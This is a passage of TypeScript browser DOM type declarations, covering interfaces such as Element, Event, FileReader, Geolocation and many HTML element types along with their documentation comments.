HTMLCollectionOf<SVGElement>;\\n    getElementsByTagNameNS(namespaceURI: string, localName: string): HTMLCollectionOf<Element>;\\n    hasAttribute(name: string): boolean;\\n    hasAttributeNS(namespaceURI: string, localName: string): boolean;\\n    msGetRegionContent(): MSRangeCollection;\\n    msGetUntransformedBounds(): ClientRect;\\n    msMatchesSelector(selectors: string): boolean;\\n    msReleasePointerCapture(pointerId: number): void;\\n    msSetPointerCapture(pointerId: number): void;\\n    msZoomTo(args: MsZoomToOptions): void;\\n    releasePointerCapture(pointerId: number): void;\\n    removeAttribute(qualifiedName: string): void;\\n    removeAttributeNode(oldAttr: Attr): Attr;\\n    removeAttributeNS(namespaceURI: string, localName: string): void;\\n    requestFullscreen(): void;\\n    requestPointerLock(): void;\\n    setAttribute(name: string, value: string): void;\\n    setAttributeNode(newAttr: Attr): Attr;\\n    setAttributeNodeNS(newAttr: Attr): Attr;\\n    setAttributeNS(namespaceURI: string, qualifiedName: string, value: string): void;\\n    setPointerCapture(pointerId: number): void;\\n    webkitMatchesSelector(selectors: string): boolean;\\n    webkitRequestFullscreen(): void;\\n    webkitRequestFullScreen(): void;\\n    getElementsByClassName(classNames: string): NodeListOf<Element>;\\n    matches(selector: string): boolean;\\n    closest(selector: string): Element | null;\\n    scrollIntoView(arg?: boolean | ScrollIntoViewOptions): void;\\n    scroll(options?: ScrollToOptions): void;\\n    scroll(x: number, y: number): void;\\n    scrollTo(options?: ScrollToOptions): void;\\n    scrollTo(x: number, y: number): void;\\n    scrollBy(options?: ScrollToOptions): void;\\n    scrollBy(x: number, y: number): void;\\n    insertAdjacentElement(position: InsertPosition, insertedElement: Element): Element | null;\\n    insertAdjacentHTML(where: InsertPosition, html: string): void;\\n    insertAdjacentText(where: InsertPosition, text: string): void;\\n    attachShadow(shadowRootInitDict: ShadowRootInit): ShadowRoot;\\n    addEventListener<K extends keyof ElementEventMap>(type: K, listener: (this: Element, ev: ElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var Element: {\\n    prototype: Element;\\n    new(): Element;\\n};\\n\\ninterface ErrorEvent extends Event {\\n    readonly colno: number;\\n    readonly error: any;\\n    readonly filename: string;\\n    readonly lineno: number;\\n    readonly message: string;\\n    initErrorEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, messageArg: string, filenameArg: string, linenoArg: number): void;\\n}\\n\\ndeclare var ErrorEvent: {\\n    prototype: ErrorEvent;\\n    new(type: string, errorEventInitDict?: ErrorEventInit): ErrorEvent;\\n};\\n\\ninterface Event {\\n    readonly bubbles: boolean;\\n    readonly cancelable: boolean;\\n    cancelBubble: boolean;\\n    readonly currentTarget: EventTarget;\\n    readonly defaultPrevented: boolean;\\n    readonly eventPhase: number;\\n    readonly isTrusted: boolean;\\n    returnValue: boolean;\\n    readonly srcElement: Element | null;\\n    readonly target: EventTarget;\\n    readonly timeStamp: number;\\n    readonly type: string;\\n    readonly scoped: boolean;\\n    initEvent(eventTypeArg: string, canBubbleArg: boolean, cancelableArg: boolean): void;\\n    preventDefault(): void;\\n    stopImmediatePropagation(): void;\\n    stopPropagation(): void;\\n    deepPath(): EventTarget[];\\n    readonly AT_TARGET: number;\\n    readonly BUBBLING_PHASE: number;\\n    readonly CAPTURING_PHASE: number;\\n}\\n\\ndeclare var Event: {\\n    prototype: Event;\\n    new(typeArg: string, eventInitDict?: EventInit): Event;\\n    readonly AT_TARGET: number;\\n    readonly BUBBLING_PHASE: number;\\n    readonly CAPTURING_PHASE: number;\\n};\\n\\ninterface EventTarget {\\n    addEventListener(type: string, listener?: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\\n    dispatchEvent(evt: Event): boolean;\\n    removeEventListener(type: string, listener?: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\\n}\\n\\ndeclare var EventTarget: {\\n    prototype: EventTarget;\\n    new(): EventTarget;\\n};\\n\\ninterface EXT_frag_depth {\\n}\\n\\ndeclare var EXT_frag_depth: {\\n    prototype: EXT_frag_depth;\\n    new(): EXT_frag_depth;\\n};\\n\\ninterface EXT_texture_filter_anisotropic {\\n    readonly MAX_TEXTURE_MAX_ANISOTROPY_EXT: number;\\n    readonly TEXTURE_MAX_ANISOTROPY_EXT: number;\\n}\\n\\ndeclare var EXT_texture_filter_anisotropic: {\\n    prototype: EXT_texture_filter_anisotropic;\\n    new(): EXT_texture_filter_anisotropic;\\n    readonly MAX_TEXTURE_MAX_ANISOTROPY_EXT: number;\\n    readonly TEXTURE_MAX_ANISOTROPY_EXT: number;\\n};\\n\\ninterface ExtensionScriptApis {\\n    extensionIdToShortId(extensionId: string): number;\\n    fireExtensionApiTelemetry(functionName: string, isSucceeded: boolean, isSupported: boolean): void;\\n    genericFunction(routerAddress: any, parameters?: string, callbackId?: number): void;\\n    genericSynchronousFunction(functionId: number, parameters?: string): string;\\n    getExtensionId(): string;\\n    registerGenericFunctionCallbackHandler(callbackHandler: any): void;\\n    registerGenericPersistentCallbackHandler(callbackHandler: any): void;\\n}\\n\\ndeclare var ExtensionScriptApis: {\\n    prototype: ExtensionScriptApis;\\n    new(): ExtensionScriptApis;\\n};\\n\\ninterface External {\\n}\\n\\ndeclare var External: {\\n    prototype: External;\\n    new(): External;\\n};\\n\\ninterface File extends Blob {\\n    readonly lastModifiedDate: any;\\n    readonly name: string;\\n    readonly webkitRelativePath: string;\\n}\\n\\ndeclare var File: {\\n    prototype: File;\\n    new (parts: (ArrayBuffer | ArrayBufferView | Blob | string)[], filename: string, properties?: FilePropertyBag): File;\\n};\\n\\ninterface FileList {\\n    readonly length: number;\\n    item(index: number): File;\\n    [index: number]: File;\\n}\\n\\ndeclare var FileList: {\\n    prototype: FileList;\\n    new(): FileList;\\n};\\n\\ninterface FileReader extends EventTarget, MSBaseReader {\\n    readonly error: DOMError;\\n    readAsArrayBuffer(blob: Blob): void;\\n    readAsBinaryString(blob: Blob): void;\\n    readAsDataURL(blob: Blob): void;\\n    readAsText(blob: Blob, encoding?: string): void;\\n    addEventListener<K extends keyof MSBaseReaderEventMap>(type: K, listener: (this: FileReader, ev: MSBaseReaderEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var FileReader: {\\n    prototype: FileReader;\\n    new(): FileReader;\\n};\\n\\ninterface FocusEvent extends UIEvent {\\n    readonly relatedTarget: EventTarget;\\n    initFocusEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, detailArg: number, relatedTargetArg: EventTarget): void;\\n}\\n\\ndeclare var FocusEvent: {\\n    prototype: FocusEvent;\\n    new(typeArg: string, eventInitDict?: FocusEventInit): FocusEvent;\\n};\\n\\ninterface FocusNavigationEvent extends Event {\\n    readonly navigationReason: NavigationReason;\\n    readonly originHeight: number;\\n    readonly originLeft: number;\\n    readonly originTop: number;\\n    readonly originWidth: number;\\n    requestFocus(): void;\\n}\\n\\ndeclare var FocusNavigationEvent: {\\n    prototype: FocusNavigationEvent;\\n    new(type: string, eventInitDict?: FocusNavigationEventInit): FocusNavigationEvent;\\n};\\n\\ninterface FormData {\\n    append(name: string, value: string | Blob, fileName?: string): void;\\n    delete(name: string): void;\\n    get(name: string): FormDataEntryValue | null;\\n    getAll(name: string): FormDataEntryValue[];\\n    has(name: string): boolean;\\n    set(name: string, value: string | Blob, fileName?: string): void;\\n}\\n\\ndeclare var FormData: {\\n    prototype: FormData;\\n    new (form?: HTMLFormElement): FormData;\\n};\\n\\ninterface GainNode extends AudioNode {\\n    readonly gain: AudioParam;\\n}\\n\\ndeclare var GainNode: {\\n    prototype: GainNode;\\n    new(): GainNode;\\n};\\n\\ninterface Gamepad {\\n    readonly axes: number[];\\n    readonly buttons: GamepadButton[];\\n    readonly connected: boolean;\\n    readonly id: string;\\n    readonly index: number;\\n    readonly mapping: string;\\n    readonly timestamp: number;\\n}\\n\\ndeclare var Gamepad: {\\n    prototype: Gamepad;\\n    new(): Gamepad;\\n};\\n\\ninterface GamepadButton {\\n    readonly pressed: boolean;\\n    readonly value: number;\\n}\\n\\ndeclare var GamepadButton: {\\n    prototype: GamepadButton;\\n    new(): GamepadButton;\\n};\\n\\ninterface GamepadEvent extends Event {\\n    readonly gamepad: Gamepad;\\n}\\n\\ndeclare var GamepadEvent: {\\n    prototype: GamepadEvent;\\n    new(typeArg: string, eventInitDict?: GamepadEventInit): GamepadEvent;\\n};\\n\\ninterface Geolocation {\\n    clearWatch(watchId: number): void;\\n    getCurrentPosition(successCallback: PositionCallback, errorCallback?: PositionErrorCallback, options?: PositionOptions): void;\\n    watchPosition(successCallback: PositionCallback, errorCallback?: PositionErrorCallback, options?: PositionOptions): number;\\n}\\n\\ndeclare var Geolocation: {\\n    prototype: Geolocation;\\n    new(): Geolocation;\\n};\\n\\ninterface HashChangeEvent extends Event {\\n    readonly newURL: string | null;\\n    readonly oldURL: string | null;\\n}\\n\\ndeclare var HashChangeEvent: {\\n    prototype: HashChangeEvent;\\n    new(typeArg: string, eventInitDict?: HashChangeEventInit): HashChangeEvent;\\n};\\n\\ninterface Headers {\\n    append(name: string, value: string): void;\\n    delete(name: string): void;\\n    forEach(callback: ForEachCallback): void;\\n    get(name: string): string | null;\\n    has(name: string): boolean;\\n    set(name: string, value: string): void;\\n}\\n\\ndeclare var Headers: {\\n    prototype: Headers;\\n    new(init?: any): Headers;\\n};\\n\\ninterface History {\\n    readonly length: number;\\n    readonly state: any;\\n    scrollRestoration: ScrollRestoration;\\n    back(): void;\\n    forward(): void;\\n    go(delta?: number): void;\\n    pushState(data: any, title: string, url?: string | null): void;\\n    replaceState(data: any, title: string, url?: string | null): void;\\n}\\n\\ndeclare var History: {\\n    prototype: History;\\n    new(): History;\\n};\\n\\ninterface HTMLAllCollection {\\n    readonly length: number;\\n    item(nameOrIndex?: string): HTMLCollection | Element | null;\\n    namedItem(name: string): HTMLCollection | Element | null;\\n    [index: number]: Element;\\n}\\n\\ndeclare var HTMLAllCollection: {\\n    prototype: HTMLAllCollection;\\n    new(): HTMLAllCollection;\\n};\\n\\ninterface HTMLAnchorElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves the character set used to encode the object.\\n     */\\n    charset: string;\\n    /**\\n     * Sets or retrieves the coordinates of the object.\\n     */\\n    coords: string;\\n    download: string;\\n    /**\\n     * Contains the anchor portion of the URL including the hash sign (#).\\n     */\\n    hash: string;\\n    /**\\n     * Contains the hostname and port values of the URL.\\n     */\\n    host: string;\\n    /**\\n     * Contains the hostname of a URL.\\n     */\\n    hostname: string;\\n    /**\\n     * Sets or retrieves a destination URL or an anchor point.\\n     */\\n    href: string;\\n    /**\\n     * Sets or retrieves the language code of the object.\\n     */\\n    hreflang: string;\\n    Methods: string;\\n    readonly mimeType: string;\\n    /**\\n     * Sets or retrieves the shape of the object.\\n     */\\n    name: string;\\n    readonly nameProp: string;\\n    /**\\n     * Contains the pathname of the URL.\\n     */\\n    pathname: string;\\n    /**\\n     * Sets or retrieves the port number associated with a URL.\\n     */\\n    port: string;\\n    /**\\n     * Contains the protocol of the URL.\\n     */\\n    protocol: string;\\n    readonly protocolLong: string;\\n    /**\\n     * Sets or retrieves the relationship between the object and the destination of the link.\\n     */\\n    rel: string;\\n    /**\\n     * Sets or retrieves the relationship between the object and the destination of the link.\\n     */\\n    rev: string;\\n    /**\\n     * Sets or retrieves the substring of the href property that follows the question mark.\\n     */\\n    search: string;\\n    /**\\n     * Sets or retrieves the shape of the object.\\n     */\\n    shape: string;\\n    /**\\n     * Sets or retrieves the window or frame at which to target content.\\n     */\\n    target: string;\\n    /**\\n     * Retrieves or sets the text of the object as a string.\\n     */\\n    text: string;\\n    type: string;\\n    urn: string;\\n    /**\\n     * Returns a string representation of an object.\\n     */\\n    toString(): string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLAnchorElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLAnchorElement: {\\n    prototype: HTMLAnchorElement;\\n    new(): HTMLAnchorElement;\\n};\\n\\ninterface HTMLAppletElement extends HTMLElement {\\n    align: string;\\n    /**\\n     * Sets or retrieves a text alternative to the graphic.\\n     */\\n    alt: string;\\n    /**\\n     * Gets or sets the optional alternative HTML script to execute if the object fails to load.\\n     */\\n    altHtml: string;\\n    /**\\n     * Sets or retrieves a character string that can be used to implement your own archive functionality for the object.\\n     */\\n    archive: string;\\n    /**\\n     * Retrieves a string of the URL where the object tag can be found. This is often the href of the document that the object is in, or the value set by a base element.\\n     */\\n    readonly BaseHref: string;\\n    border: string;\\n    code: string;\\n    /**\\n     * Sets or retrieves the URL of the component.\\n     */\\n    codeBase: string;\\n    /**\\n     * Sets or retrieves the Internet media type for the code associated with the object.\\n     */\\n    codeType: string;\\n    /**\\n     * Address of a pointer to the document this page or frame contains. If there is no document, then null will be returned.\\n     */\\n    readonly contentDocument: Document;\\n    /**\\n     * Sets or retrieves the URL that references the data of the object.\\n     */\\n    data: string;\\n    /**\\n     * Sets or retrieves a character string that can be used to implement your own declare functionality for the object.\\n     */\\n    declare: boolean;\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: string;\\n    hspace: number;\\n    /**\\n     * Sets or retrieves the shape of the object.\\n     */\\n    name: string;\\n    object: string | null;\\n    /**\\n     * Sets or retrieves a message to be displayed while an object is loading.\\n     */\\n    standby: string;\\n    /**\\n     * Returns the content type of the object.\\n     */\\n    type: string;\\n    /**\\n     * Sets or retrieves the URL, often with a bookmark extension (#name), to use as a client-side image map.\\n     */\\n    useMap: string;\\n    vspace: number;\\n    width: number;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLAppletElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLAppletElement: {\\n    prototype: HTMLAppletElement;\\n    new(): HTMLAppletElement;\\n};\\n\\ninterface HTMLAreaElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves a text alternative to the graphic.\\n     */\\n    alt: string;\\n    /**\\n     * Sets or retrieves the coordinates of the object.\\n     */\\n    coords: string;\\n    download: string;\\n    /**\\n     * Sets or retrieves the subsection of the href property that follows the number sign (#).\\n     */\\n    hash: string;\\n    /**\\n     * Sets or retrieves the hostname and port number of the location or URL.\\n     */\\n    host: string;\\n    /**\\n     * Sets or retrieves the host name part of the location or URL.\\n     */\\n    hostname: string;\\n    /**\\n     * Sets or retrieves a destination URL or an anchor point.\\n     */\\n    href: string;\\n    /**\\n     * Sets or gets whether clicks in this region cause action.\\n     */\\n    noHref: boolean;\\n    /**\\n     * Sets or retrieves the file name or path specified by the object.\\n     */\\n    pathname: string;\\n    /**\\n     * Sets or retrieves the port number associated with a URL.\\n     */\\n    port: string;\\n    /**\\n     * Sets or retrieves the protocol portion of a URL.\\n     */\\n    protocol: string;\\n    rel: string;\\n    /**\\n     * Sets or retrieves the substring of the href property that follows the question mark.\\n     */\\n    search: string;\\n    /**\\n     * Sets or retrieves the shape of the object.\\n     */\\n    shape: string;\\n    /**\\n     * Sets or retrieves the window or frame at which to target content.\\n     */\\n    target: string;\\n    /**\\n     * Returns a string representation of an object.\\n     */\\n    toString(): string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLAreaElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLAreaElement: {\\n    prototype: HTMLAreaElement;\\n    new(): HTMLAreaElement;\\n};\\n\\ninterface HTMLAreasCollection extends HTMLCollectionBase {\\n}\\n\\ndeclare var HTMLAreasCollection: {\\n    prototype: HTMLAreasCollection;\\n    new(): HTMLAreasCollection;\\n};\\n\\ninterface HTMLAudioElement extends HTMLMediaElement {\\n    addEventListener<K extends keyof HTMLMediaElementEventMap>(type: K, listener: (this: HTMLAudioElement, ev: HTMLMediaElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLAudioElement: {\\n    prototype: HTMLAudioElement;\\n    new(): HTMLAudioElement;\\n};\\n\\ninterface HTMLBaseElement extends HTMLElement {\\n    /**\\n     * Gets or sets the baseline URL on which relative links are based.\\n     */\\n    href: string;\\n    /**\\n     * Sets or retrieves the window or frame at which to target content.\\n     */\\n    target: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLBaseElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLBaseElement: {\\n    prototype: HTMLBaseElement;\\n    new(): HTMLBaseElement;\\n};\\n\\ninterface HTMLBaseFontElement extends HTMLElement, DOML2DeprecatedColorProperty {\\n    /**\\n     * Sets or retrieves the current typeface family.\\n     */\\n    face: string;\\n    /**\\n     * Sets or retrieves the font size of the object.\\n     */\\n    size: number;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLBaseFontElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLBaseFontElement: {\\n    prototype: HTMLBaseFontElement;\\n    new(): HTMLBaseFontElement;\\n};\\n\\ninterface HTMLBodyElementEventMap extends HTMLElementEventMap {\\n    \"afterprint\": Event;\\n    \"beforeprint\": Event;\\n    \"beforeunload\": BeforeUnloadEvent;\\n    \"blur\": FocusEvent;\\n    \"error\": ErrorEvent;\\n    \"focus\": FocusEvent;\\n    \"hashchange\": HashChangeEvent;\\n    \"load\": Event;\\n    \"message\": MessageEvent;\\n    \"offline\": Event;\\n    \"online\": Event;\\n    \"orientationchange\": Event;\\n    \"pagehide\": PageTransitionEvent;\\n    \"pageshow\": PageTransitionEvent;\\n    \"popstate\": PopStateEvent;\\n    \"resize\": UIEvent;\\n    \"scroll\": UIEvent;\\n    \"storage\": StorageEvent;\\n    \"unload\": Event;\\n}\\n\\ninterface HTMLBodyElement extends HTMLElement {\\n    aLink: any;\\n    background: string;\\n    bgColor: any;\\n    bgProperties: string;\\n    link: any;\\n    noWrap: boolean;\\n    onafterprint: (this: HTMLBodyElement, ev: Event) => any;\\n    onbeforeprint: (this: HTMLBodyElement, ev: Event) => any;\\n    onbeforeunload: (this: HTMLBodyElement, ev: BeforeUnloadEvent) => any;\\n    onblur: (this: HTMLBodyElement, ev: FocusEvent) => any;\\n    onerror: (this: HTMLBodyElement, ev: ErrorEvent) => any;\\n    onfocus: (this: HTMLBodyElement, ev: FocusEvent) => any;\\n    onhashchange: (this: HTMLBodyElement, ev: HashChangeEvent) => any;\\n    onload: (this: HTMLBodyElement, ev: Event) => any;\\n    onmessage: (this: HTMLBodyElement, ev: MessageEvent) => any;\\n    onoffline: (this: HTMLBodyElement, ev: Event) => any;\\n    ononline: (this: HTMLBodyElement, ev: Event) => any;\\n    onorientationchange: (this: HTMLBodyElement, ev: Event) => any;\\n    onpagehide: (this: HTMLBodyElement, ev: PageTransitionEvent) => any;\\n    onpageshow: (this: HTMLBodyElement, ev: PageTransitionEvent) => any;\\n    onpopstate: (this: HTMLBodyElement, ev: PopStateEvent) => any;\\n    onresize: (this: HTMLBodyElement, ev: UIEvent) => any;\\n    onscroll: (this: HTMLBodyElement, ev: UIEvent) => any;\\n    onstorage: (this: HTMLBodyElement, ev: StorageEvent) => any;\\n    onunload: (this: HTMLBodyElement, ev: Event) => any;\\n    text: any;\\n    vLink: any;\\n    addEventListener<K extends keyof HTMLBodyElementEventMap>(type: K, listener: (this: HTMLBodyElement, ev: HTMLBodyElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLBodyElement: {\\n    prototype: HTMLBodyElement;\\n    new(): HTMLBodyElement;\\n};\\n\\ninterface HTMLBRElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves the side on which floating objects are not to be positioned when any IHTMLBlockElement is inserted into the document.\\n     */\\n    clear: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLBRElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLBRElement: {\\n    prototype: HTMLBRElement;\\n    new(): HTMLBRElement;\\n};\\n\\ninterface HTMLButtonElement extends HTMLElement {\\n    /**\\n     * Provides a way to direct a user to a specific field when a document loads. This can provide both direction and convenience for a user, reducing the need to click or tab to a field when a page opens. This attribute is true when present on an element, and false when missing.\\n     */\\n    autofocus: boolean;\\n    disabled: boolean;\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Overrides the action attribute (where the data on a form is sent) on the parent form element.\\n     */\\n    formAction: string;\\n    /**\\n     * Used to override the encoding (formEnctype attribute) specified on the form element.\\n     */\\n    formEnctype: string;\\n    /**\\n     * Overrides the submit method attribute previously specified on a form element.\\n     */\\n    formMethod: string;\\n    /**\\n     * Overrides any validation or required attributes on a form or form elements to allow it to be submitted without validation. This can be used to create a \"save draft\"-type submit option.\\n     */\\n    formNoValidate: string;\\n    /**\\n     * Overrides the target attribute on a form element.\\n     */\\n    formTarget: string;\\n    /**\\n     * Sets or retrieves the name of the object.\\n     */\\n    name: string;\\n    status: any;\\n    /**\\n     * Gets the classification and default behavior of the button.\\n     */\\n    type: string;\\n    /**\\n     * Returns the error message that would be displayed if the user submits the form, or an empty string if no error message. It also triggers the standard error message, such as \"this is a required field\". The result is that the user sees validation messages without actually submitting.\\n     */\\n    readonly validationMessage: string;\\n    /**\\n     * Returns a  ValidityState object that represents the validity states of an element.\\n     */\\n    readonly validity: ValidityState;\\n    /**\\n     * Sets or retrieves the default or selected value of the control.\\n     */\\n    value: string;\\n    /**\\n     * Returns whether an element will successfully validate based on forms validation rules and constraints.\\n     */\\n    readonly willValidate: boolean;\\n    /**\\n     * Returns whether a form will validate when it is submitted, without having to submit it.\\n     */\\n    checkValidity(): boolean;\\n    /**\\n     * Sets a custom error message that is displayed when a form is submitted.\\n     * @param error Sets a custom error message that is displayed when a form is submitted.\\n     */\\n    setCustomValidity(error: string): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLButtonElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLButtonElement: {\\n    prototype: HTMLButtonElement;\\n    new(): HTMLButtonElement;\\n};\\n\\ninterface HTMLCanvasElement extends HTMLElement {\\n    /**\\n     * Gets or sets the height of a canvas element on a document.\\n     */\\n    height: number;\\n    /**\\n     * Gets or sets the width of a canvas element on a document.\\n     */\\n    width: number;\\n    /**\\n     * Returns an object that provides methods and properties for drawing and manipulating images and graphics on a canvas element in a document. A context object includes information about colors, line widths, fonts, and other graphic parameters that can be drawn on a canvas.\\n     * @param contextId The identifier (ID) of the type of canvas to create. Internet Explorer 9 and Internet Explorer 10 support only a 2-D context using canvas.getContext(\"2d\"); IE11 Preview also supports 3-D or WebGL context using canvas.getContext(\"experimental-webgl\");\\n     */\\n    getContext(contextId: \"2d\", contextAttributes?: Canvas2DContextAttributes): CanvasRenderingContext2D | null;\\n    getContext(contextId: \"webgl\" | \"experimental-webgl\", contextAttributes?: WebGLContextAttributes): WebGLRenderingContext | null;\\n    getContext(contextId: string, contextAttributes?: {}): CanvasRenderingContext2D | WebGLRenderingContext | null;\\n    /**\\n     * Returns a blob object encoded as a Portable Network Graphics (PNG) format from a canvas image or drawing.\\n     */\\n    msToBlob(): Blob;\\n    /**\\n     * Returns the content of the current canvas as an image that you can use as a source for another canvas or an HTML element.\\n     * @param type The standard MIME type for the image format to return. If you do not specify this parameter, the default value is a PNG format image.\\n     */\\n    toDataURL(type?: string, ...args: any[]): string;\\n    toBlob(callback: (result: Blob | null) => void, type?: string, ...arguments: any[]): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLCanvasElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLCanvasElement: {\\n    prototype: HTMLCanvasElement;\\n    new(): HTMLCanvasElement;\\n};\\n\\ninterface HTMLCollectionBase {\\n    /**\\n     * Sets or retrieves the number of objects in a collection.\\n     */\\n    readonly length: number;\\n    /**\\n     * Retrieves an object from various collections.\\n     */\\n    item(index: number): Element;\\n    [index: number]: Element;\\n}\\n\\ninterface HTMLCollection extends HTMLCollectionBase {\\n    /**\\n     * Retrieves a select object or an object from an options collection.\\n     */\\n    namedItem(name: string): Element | null;\\n}\\n\\ndeclare var HTMLCollection: {\\n    prototype: HTMLCollection;\\n    new(): HTMLCollection;\\n};\\n\\ninterface HTMLDataElement extends HTMLElement {\\n    value: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLDataElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLDataElement: {\\n    prototype: HTMLDataElement;\\n    new(): HTMLDataElement;\\n};\\n\\ninterface HTMLDataListElement extends HTMLElement {\\n    options: HTMLCollectionOf<HTMLOptionElement>;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLDataListElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLDataListElement: {\\n    prototype: HTMLDataListElement;\\n    new(): HTMLDataListElement;\\n};\\n\\ninterface HTMLDirectoryElement extends HTMLElement {\\n    compact: boolean;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLDirectoryElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLDirectoryElement: {\\n    prototype: HTMLDirectoryElement;\\n    new(): HTMLDirectoryElement;\\n};\\n\\ninterface HTMLDivElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves how the object is aligned with adjacent text.\\n     */\\n    align: string;\\n    /**\\n     * Sets or retrieves whether the browser automatically performs wordwrap.\\n     */\\n    noWrap: boolean;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLDivElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLDivElement: {\\n    prototype: HTMLDivElement;\\n    new(): HTMLDivElement;\\n};\\n\\ninterface HTMLDListElement extends HTMLElement {\\n    compact: boolean;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLDListElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLDListElement: {\\n    prototype: HTMLDListElement;\\n    new(): HTMLDListElement;\\n};\\n\\ninterface HTMLDocument extends Document {\\n    addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: HTMLDocument, ev: DocumentEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLDocument: {\\n    prototype: HTMLDocument;\\n    new(): HTMLDocument;\\n};\\n\\ninterface HTMLElementEventMap extends ElementEventMap {\\n    \"abort\": UIEvent;\\n    \"activate\": UIEvent;\\n    \"beforeactivate\": UIEvent;\\n    \"beforecopy\": ClipboardEvent;\\n    \"beforecut\": ClipboardEvent;\\n    \"beforedeactivate\": UIEvent;\\n    \"beforepaste\": ClipboardEvent;\\n    \"blur\": FocusEvent;\\n    \"canplay\": Event;\\n    \"canplaythrough\": Event;\\n    \"change\": Event;\\n    \"click\": MouseEvent;\\n    \"contextmenu\": PointerEvent;\\n    \"copy\": ClipboardEvent;\\n    \"cuechange\": Event;\\n    \"cut\": ClipboardEvent;\\n    \"dblclick\": MouseEvent;\\n    \"deactivate\": UIEvent;\\n    \"drag\": DragEvent;\\n    \"dragend\": DragEvent;\\n    \"dragenter\": DragEvent;\\n    \"dragleave\": DragEvent;\\n    \"dragover\": DragEvent;\\n    \"dragstart\": DragEvent;\\n    \"drop\": DragEvent;\\n    \"durationchange\": Event;\\n    \"emptied\": Event;\\n    \"ended\": MediaStreamErrorEvent;\\n    \"error\": ErrorEvent;\\n    \"focus\": FocusEvent;\\n    \"input\": Event;\\n    \"invalid\": Event;\\n    \"keydown\": KeyboardEvent;\\n    \"keypress\": KeyboardEvent;\\n    \"keyup\": KeyboardEvent;\\n    \"load\": Event;\\n    